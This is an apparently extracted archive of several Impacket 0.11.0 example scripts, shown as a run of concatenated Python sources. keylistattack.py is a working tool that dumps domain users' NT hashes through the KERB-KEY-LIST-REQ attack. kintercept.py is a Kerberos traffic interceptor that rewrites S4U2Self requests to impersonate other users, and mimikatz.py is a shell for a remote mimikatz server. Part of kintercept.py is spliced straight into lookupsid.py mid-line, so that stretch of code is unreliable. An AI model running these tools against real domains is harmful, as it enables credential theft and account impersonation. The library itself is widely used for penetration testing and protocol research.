respPacket['TreeID'] = tid #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) else: smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR) errorCode = STATUS_OBJECT_PATH_NOT_FOUND respPacket['Status'] = errorCode ## if path == 'IPC$': respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE respSMBCommand['ShareFlags'] = 0x30 else: respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK respSMBCommand['ShareFlags'] = 0x0 respSMBCommand['Capabilities'] = 0 respSMBCommand['MaximalAccess'] = 0x011f01ff respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) return None, [respPacket], errorCode def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Pid'] = connData['Pid'] respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) respParameters = smb.SMBTreeConnectAndXResponse_Parameters() respData = smb.SMBTreeConnectAndXResponse_Data() treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) if treeConnectAndXParameters['Flags'] & 0x8: respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) errorCode = STATUS_SUCCESS UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # We won't search for the share.. all of them exist :P smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO) #share = searchShare(connId, path, smbServer) share = {} # Simple way to generate a Tid if len(connData['ConnectedShares']) == 0: tid = 1 else: tid = list(connData['ConnectedShares'].keys())[-1] + 1 connData['ConnectedShares'][tid] = share connData['ConnectedShares'][tid]['path'] = '/' connData['ConnectedShares'][tid]['shareName'] = path resp['Tid'] = tid #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS if path == 'IPC$': respData['Service'] = 'IPC' else: respData['Service'] = path respData['PadLen'] = 0 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ).decode() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp['Uid'] = connData['Uid'] resp.addCommand(respSMBCommand) smbServer.setConnectionData(connId, connData) return None, [resp], errorCode def _start(self): self.server.serve_forever() def run(self): logging.info("Setting up SMB Server") self._start() def setDefaultFile(self, filename): self.defaultFile = filename def setExtensionsConfig(self, filename): for line in filename.readlines(): line = line.strip('\r\n ') if line.startswith('#') is not True and len(line) > 0: extension, pathName = line.split('=') self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip()) # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = False, description = "For every file request received, this module will " "return the pathname contents") parser.add_argument("--help", action="help", help='show this help message and exit') parser.add_argument('fileName', action='store', metavar = 'pathname', help="Pathname's contents to deliver to SMB " "clients") parser.add_argument('-config', type=argparse.FileType('r'), metavar = 'pathname', help='config file name to map ' 'extensions to files to deliver. For those extensions not present, pathname will be delivered') parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') if len(sys.argv)==1: parser.print_help() sys.exit(1) try: options = parser.parse_args() except Exception as e: logging.critical(str(e)) sys.exit(1) s = KarmaSMBServer(options.smb2support) s.setDefaultFile(os.path.normpath(options.fileName)) if options.config is not None: s.setExtensionsConfig(options.config) s.start() logging.info("Servers started, waiting for connections") while True: try: sys.stdin.read() except KeyboardInterrupt: sys.exit(1) else: pass impacket-impacket_0_11_0/examples/keylistattack.py000066400000000000000000000300711446174712300224630ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Performs the KERB-KEY-LIST-REQ attack to dump secrets # from the remote machine without executing any agent there # # If the SMB credentials are supplied, the script starts by # enumerating the domain users via SAMR. Otherwise, the attack # is executed against the specified targets. # # Examples: # ./keylistdump.py contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey # ./keylistdump.py contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey -full # ./keylistdump.py -kdc dc01.contoso.com -t victim -rodcNo 20000 -rodcKey LIST # ./keylistdump.py -kdc dc01 -domain contoso.com -tf targetfile.txt -rodcNo 20000 -rodcKey LIST # # Author: # Leandro Cuozzo (@0xdeaddood) # import logging import os import random from impacket.examples import logger from impacket.examples.secretsdump import RemoteOperations, KeyListSecrets from impacket.examples.utils import parse_target from impacket.krb5 import constants from impacket.krb5.types import Principal from impacket.smbconnection import SMBConnection from impacket import version try: rand = random.SystemRandom() except NotImplementedError: rand = random pass class KeyListDump: def __init__(self, remoteName, username, password, domain, options, enum, targets): self.__domain = domain self.__username = username self.__password = password self.__aesKey = options.aesKey self.__doKerberos = options.k self.__aesKeyRodc = options.rodcKey self.__remoteName = remoteName self.__remoteHost = options.target_ip self.__kdcHost = options.dc_ip self.__rodc = options.rodcNo # self.__kvno = 1 self.__enum = enum self.__targets = targets self.__full = options.full self.__smbConnection = None self.__remoteOps = None self.__keyListSecrets = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') else: self.__lmhash = '' self.__nthash = '' def connect(self): try: self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) if self.__doKerberos: self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__kdcHost) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) except Exception as e: if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: # SMBConnection failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) pass else: raise def run(self): if self.__enum is True: self.connect() self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) self.__remoteOps.connectSamr(self.__domain) self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps) logging.info('Enumerating target users. This may take a while on large domains') if self.__full is True: targetList = self.getAllDomainUsers() else: targetList = self.__keyListSecrets.getAllowedUsersToReplicate() else: logging.info('Using target users provided by parameter') self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, None) targetList = self.__targets logging.info('Dumping Domain Credentials (domain\\uid:[rid]:nthash)') logging.info('Using the KERB-KEY-LIST request method. Tickets everywhere!') for targetUser in targetList: user = targetUser.split(":")[0] targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) partialTGT, sessionKey = self.__keyListSecrets.createPartialTGT(targetUserName) fullTGT = self.__keyListSecrets.getFullTGT(targetUserName, partialTGT, sessionKey) if fullTGT is not None: key = self.__keyListSecrets.getKey(fullTGT, sessionKey) print(self.__domain + "\\" + targetUser + ":" + key[2:]) def getAllDomainUsers(self): resp = self.__remoteOps.getDomainUsers() # Users not allowed to replicate passwords by default deniedUsers = [500, 501, 502, 503] targetList = [] for user in resp['Buffer']['Buffer']: if user['RelativeId'] not in deniedUsers and "krbtgt_" not in user['Name']: targetList.append(user['Name'] + ":" + str(user['RelativeId'])) return targetList if __name__ == '__main__': import argparse import sys try: import pyasn1 from pyasn1.type.univ import noValue, SequenceOf, Integer except ImportError: print('This module needs pyasn1 installed') sys.exit(1) print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Performs the KERB-KEY-LIST-REQ attack to dump " "secrets from the remote machine without executing any agent there.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@] (Use this credential ' 'to authenticate to SMB and list domain users (low-privilege account) or LIST' ' (if you want to parse a target file) ') parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account') parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller') parser.add_argument('-full', action='store_true', default=False, help='Run the attack against all domain users. ' 'Noisy! It could lead to more TGS requests being rejected') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('LIST option') group.add_argument('-domain', action='store', help='The fully qualified domain name (only works with LIST)') group.add_argument('-kdc', action='store', help='KDC HostName or FQDN (only works with LIST)') group.add_argument('-t', action='store', help='Attack only the username specified (only works with LIST)') group.add_argument('-tf', action='store', help='File that contains a list of target usernames (only works with LIST)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='Use NTLM hashes to authenticate to SMB ' 'and list domain users.') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos to authenticate to SMB and list domain users. Grabs ' 'credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot ' 'be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication' ' (128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) if options.rodcNo is None: logging.error("You must specify the RODC number (krbtgt_XXXXX)") sys.exit(1) if options.rodcKey is None: logging.error("You must specify the RODC aes key") sys.exit(1) domain, username, password, remoteName = parse_target(options.target) if remoteName == '': logging.error("You must specify a target or set the option LIST") sys.exit(1) if remoteName == 'LIST': targets = [] if options.full is True: logging.warning("Flag -full will have no effect") if options.t is not None: targets.append(options.t) elif options.tf is not None: try: with open(options.tf, 'r') as f: for line in f: target = line.strip() if target != '' and target[0] != '#': targets.append(target + ":" + "N/A") except IOError as error: logging.error("Could not open file: %s - %s", options.tf, str(error)) sys.exit(1) if len(targets) == 0: logging.error("No valid targets specified!") sys.exit(1) else: logging.error("You must specify a target username or targets file") sys.exit(1) if options.kdc is not None: if '.' in options.kdc: remoteName, domain = options.kdc.split('.', 1) else: remoteName = options.kdc else: logging.error("You must specify the KDC HostName or FQDN") sys.exit(1) if options.target_ip is None: options.target_ip = remoteName if options.domain is not None: domain = options.domain if domain == '': logging.error("You must specify a target domain. Use the flag -domain or define a FQDN in flag -kdc") sys.exit(1) keylistdumper = KeyListDump(remoteName, username, password, domain, options, False, targets) else: if '@' not in options.target: logging.error("You must specify the KDC HostName or IP Address") sys.exit(1) if options.target_ip is None: options.target_ip = remoteName if domain == '': logging.error("You must specify a target domain") sys.exit(1) if username == '': logging.error("You must specify a username") sys.exit(1) if password == '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") keylistdumper = KeyListDump(remoteName, username, password, domain, options, True, targets=[]) try: keylistdumper.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e)impacket-impacket_0_11_0/examples/kintercept.py000077500000000000000000000231611446174712300217640ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # Copyright (c) 2017 @MrAnde7son # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Copyright and licensing note from kintercept.py: # # MIT Licensed # Copyright (c) 2019 Isaac Boukris # # A tool for intercepting TCP streams and for testing KDC handling # of PA-FOR-USER with unkeyed checksums in MS Kerberos S4U2Self # protocol extention (CVE-2018-16860 and CVE-2019-0734). # # The tool listens on a local port (default 88), to which the hijacked # connections should be redirected (via port forwarding, etc), and sends # all the packets to the upstream DC server. # If s4u2else handler is set, the name in PA-FOR-USER padata in every proxied # packet will be changed to the name specified in the handler's argument. # # Example: kintercept.py --request-handler s4u2else:administrator dc-ip-addr # import struct, socket, argparse, asyncore from binascii import crc32 from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from impacket import version from impacket.krb5 import constants from impacket.krb5.crypto import Cksumtype from impacket.krb5.asn1 import TGS_REQ, TGS_REP, seq_set, PA_FOR_USER_ENC from impacket.krb5.types import Principal MAX_READ_SIZE = 16000 MAX_BUFF_SIZE = 32000 LISTEN_QUEUE = 10 TYPE = 10 def process_s4u2else_req(data, impostor): try: tgs = decoder.decode(data, asn1Spec = TGS_REQ())[0] except: print ('Record is not a TGS-REQ') return '' pa_tgs_req = pa_for_user = None for pa in tgs['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value: pa_tgs_req = pa elif pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value: pa_for_user = pa if not pa_tgs_req or not pa_for_user: print ('TGS request is not S4U') return '' tgs['padata'] = noValue tgs['padata'][0] = pa_tgs_req try: for_user_obj = decoder.decode(pa_for_user['padata-value'], asn1Spec = PA_FOR_USER_ENC())[0] except: print ('Failed to decode PA_FOR_USER!') return '' S4UByteArray = struct.pack('= 0: soFar += SIMULTANEOUS continue elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0: resp = e.get_packet() else: raise for n, item in enumerate(resp['TranslatedNames']['Names']): if item['Use'] != SID_NAME_USE.SidTypeUnknown: print("%d: %s\\%s (%s)" % ( soFar + n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name)) soFar += SIMULTANEOUS dce.disconnect() return entries # Process command-line arguments. if __name__ == '__main__': # Explicitly changing the stdout encoding format if sys.stdout.encoding is None: # Output is redirected to a file sys.stdout = codecs.getwriter('utf8')(sys.stdout) print(version.BANNER) parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('maxRid', action='store', default = '4000', nargs='?', help='max Rid to check (default 4000)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') group = parser.add_argument_group('connection') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. ' 'If omitted it will use whatever was specified as target. This is useful when target is the ' 'NetBIOS name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') group.add_argument('-domain-sids', action='store_true', help='Enumerate Domain SIDs (will likely forward requests to the DC)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful when proxying through smbrelayx)') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False: from getpass import getpass password = getpass("Password:") if options.target_ip is None: options.target_ip = remoteName lookup = LSALookupSid(username, password, domain, int(options.port), options.hashes, options.domain_sids, options.maxRid) try: lookup.dump(remoteName, options.target_ip) except: pass impacket-impacket_0_11_0/examples/machine_role.py000066400000000000000000000164551446174712300222460ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Through MS-DSSP, this script retrieves a host's role along with # its primary domain details. # # This may be particularly useful when it is used in a script where # further operations depend on knowing the role of its target, # e.g. "I do not want to perform this on a DC". # # Author: # Simon Decosse (@simondotsh) # import sys import logging import argparse from impacket.examples import logger from impacket.examples.utils import parse_target from impacket import version from impacket.uuid import bin_to_string from impacket.dcerpc.v5 import transport, dssp class MachineRole: # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dssp/09f0677f-52e5-454d-9a65-0e8d8ba6fdeb MACHINE_ROLES = { dssp.DSROLE_MACHINE_ROLE.DsRole_RoleStandaloneWorkstation: 'Standalone Workstation', dssp.DSROLE_MACHINE_ROLE.DsRole_RoleMemberWorkstation: 'Domain-joined Workstation', dssp.DSROLE_MACHINE_ROLE.DsRole_RoleStandaloneServer: 'Standalone Server', dssp.DSROLE_MACHINE_ROLE.DsRole_RoleMemberServer: 'Domain-joined Server', dssp.DSROLE_MACHINE_ROLE.DsRole_RoleBackupDomainController: 'Backup Domain Controller', dssp.DSROLE_MACHINE_ROLE.DsRole_RolePrimaryDomainController: 'Primary Domain Controller' } def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, port=445): self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__port = port if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def print_info(self, remoteName, remoteHost): try: dce = self.__authenticate(remoteName, remoteHost) except Exception as e: self.__log_and_exit(str(e)) try: output = self.__fetch(dce) except Exception as e: self.__log_and_exit(str(e)) for key, value in output.items(): print('%s: %s' % (key, value)) dce.disconnect() def __authenticate(self, remoteName, remoteHost): dce = self.__get_transport(remoteName, remoteHost) dce.connect() dce.bind(dssp.MSRPC_UUID_DSSP) return dce def __get_transport(self, remoteName, remoteHost): stringbinding = r'ncacn_np:%s[\pipe\lsarpc]' % remoteName logging.debug('StringBinding %s' % stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.__port) rpctransport.setRemoteHost(remoteHost) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) return rpctransport.get_dce_rpc() def __fetch(self, dce): output = {} domain_info = dssp.hDsRolerGetPrimaryDomainInformation(dce, 1) output['Machine Role'] = self.MACHINE_ROLES[domain_info['DomainInfo']['DomainInfoBasic']['MachineRole']] output['NetBIOS Domain Name'] = domain_info['DomainInfo']['DomainInfoBasic']['DomainNameFlat'] output['Domain Name'] = domain_info['DomainInfo']['DomainInfoBasic']['DomainNameDns'] output['Forest Name'] = domain_info['DomainInfo']['DomainInfoBasic']['DomainForestName'] output['Domain GUID'] = bin_to_string(domain_info['DomainInfo']['DomainInfoBasic']['DomainGuid']) return output def __log_and_exit(self, error): logging.critical('Error while enumerating host: %s' % error) sys.exit(1) if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description='Retrieve a host\'s role along with its primary domain details.') parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store',metavar='ip address', help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') group.add_argument('-target-ip', action='store', metavar='ip address', help='IP Address of the target machine. If ' 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' 'name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action='store', metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action='store_true', help='don\'t ask for password (useful for -k)') group.add_argument('-k', action='store_true', help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action='store', metavar='hex key', help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' if options.target_ip is None: options.target_ip = remoteName if options.aesKey is not None: options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass('Password:') machine_role = MachineRole(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, int(options.port)) machine_role.print_info(remoteName, options.target_ip) impacket-impacket_0_11_0/examples/mimikatz.py000077500000000000000000000222731446174712300214440ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi # # Author: # Alberto Solino (@agsolino) # # Reference for: # SMB DCE/RPC # from __future__ import division from __future__ import print_function import argparse import cmd import logging import os import sys from impacket import version from impacket.dcerpc.v5 import epm, mimilib from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.transport import DCERPCTransportFactory from impacket.examples import logger from impacket.examples.utils import parse_target try: from Cryptodome.Cipher import ARC4 except Exception: logging.critical("Warning: You don't have any crypto installed. You need pycryptodomex") logging.critical("See https://pypi.org/project/pycryptodomex/") # If you wanna have readline like functionality in Windows, install pyreadline try: import pyreadline as readline except ImportError: import readline mimikatz_intro = r"""Type help for list of commands""" class MimikatzShell(cmd.Cmd): def __init__(self, dce): cmd.Cmd.__init__(self) self.shell = None self.prompt = 'mimikatz # ' self.tid = None self.intro = mimikatz_intro self.pwd = '' self.share = None self.loggedIn = True self.last_output = None self.dce = dce dh = mimilib.MimiDiffeH() blob = mimilib.PUBLICKEYBLOB() blob['y'] = dh.genPublicKey()[::-1] publicKey = mimilib.MIMI_PUBLICKEY() publicKey['sessionType'] = mimilib.CALG_RC4 publicKey['cbPublicKey'] = 144 publicKey['pbPublicKey'] = blob.getData() resp = mimilib.hMimiBind(self.dce, publicKey) blob = mimilib.PUBLICKEYBLOB(b''.join(resp['serverPublicKey']['pbPublicKey'])) self.key = dh.getSharedSecret(blob['y'][::-1])[-16:][::-1] self.pHandle = resp['phMimi'] def emptyline(self): pass def precmd(self,line): # switch to unicode #return line.encode('utf-8') return line def default(self, line): if line.startswith('*'): line = line[1:] command = (line.strip('\n')+'\x00').encode('utf-16le') command = ARC4.new(self.key).encrypt(command) resp = mimilib.hMimiCommand(self.dce, self.pHandle, command) cipherText = b''.join(resp['encResult']) cipher = ARC4.new(self.key) print(cipher.decrypt(cipherText).decode('utf-16le')) def onecmd(self,s): retVal = False try: retVal = cmd.Cmd.onecmd(self,s) except Exception as e: logging.debug("Exception:", exc_info=True) logging.error(e) return retVal def do_exit(self,line): if self.shell is not None: self.shell.close() return True def do_shell(self, line): output = os.popen(line).read() print(output) self.last_output = output def do_help(self,line): self.default('::') def main(): # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 'the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, address = parse_target(options.target) if options.target_ip is None: options.target_ip = address if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True if options.hashes is not None: lmhash, nthash = options.hashes.split(':') else: lmhash = '' nthash = '' bound = False try: if username != '': try: # Let's try to do everything through SMB. If we'e lucky it might get everything encrypted rpctransport = DCERPCTransportFactory(r'ncacn_np:%s[\pipe\epmapper]'%address) rpctransport.set_credentials(username, password, domain, lmhash, nthash, options.aesKey) dce = rpctransport.get_dce_rpc() if options.k: rpctransport.set_kerberos(True, options.dc_ip) dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() # Give me the endpoint please! stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_np', dce=dce) # Thanks, let's now use the same SMB Connection to bind to mimi rpctransport2 = DCERPCTransportFactory(stringBinding) rpctransport2.set_smb_connection(rpctransport.get_smb_connection()) dce = rpctransport2.get_dce_rpc() if options.k: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(mimilib.MSRPC_UUID_MIMIKATZ) bound = True except Exception as e: if str(e).find('ept_s_not_registered') >=0: # Let's try ncacn_ip_tcp stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_ip_tcp') else: raise else: stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_ip_tcp') if bound is False: rpctransport = DCERPCTransportFactory(stringBinding) rpctransport.set_credentials(username, password, domain, lmhash, nthash, options.aesKey) dce = rpctransport.get_dce_rpc() if options.k is True: rpctransport.set_kerberos(True, options.dc_ip) dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) rpctransport.set_credentials(username, password, domain, lmhash, nthash) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(mimilib.MSRPC_UUID_MIMIKATZ) shell = MimikatzShell(dce) if options.file is not None: logging.info("Executing commands from %s" % options.file.name) for line in options.file.readlines(): if line[0] != '#': print("# %s" % line, end=' ') shell.onecmd(line) else: print(line, end=' ') else: shell.cmdloop() except Exception as e: logging.debug("Exception:", exc_info=True) logging.error(str(e)) if __name__ == "__main__": main() impacket-impacket_0_11_0/examples/mqtt_check.py000077500000000000000000000056241446174712300217420ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Simple MQTT example aimed at playing with different login options. Can be converted into a account/password # brute forcer quite easily. # # Author: # Alberto Solino (@agsolino) # # Reference for: # MQTT and Structure # from __future__ import print_function import argparse import logging import sys from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection class MQTT_LOGIN: def __init__(self, username, password, target, options): self._options = options self._username = username self._password = password self._target = target if self._username == '': self._username = None def run(self): mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl) if self._options.client_id is None: clientId = ' ' else: clientId = self._options.client_id mqtt.connect(clientId, self._username, self._password) logging.info(CONNECT_ACK_ERROR_MSGS[0]) if __name__ == '__main__': # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help=False, description="MQTT login check") parser.add_argument("--help", action="help", help='show this help message and exit') parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)') parser.add_argument('-ssl', action='store_true', help='turn SSL on') parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') try: options = parser.parse_args() except Exception as e: logging.error(str(e)) sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, address = parse_target(options.target) check_mqtt = MQTT_LOGIN(username, password, address, options) try: check_mqtt.run() except Exception as e: if logging.getLogger().level == 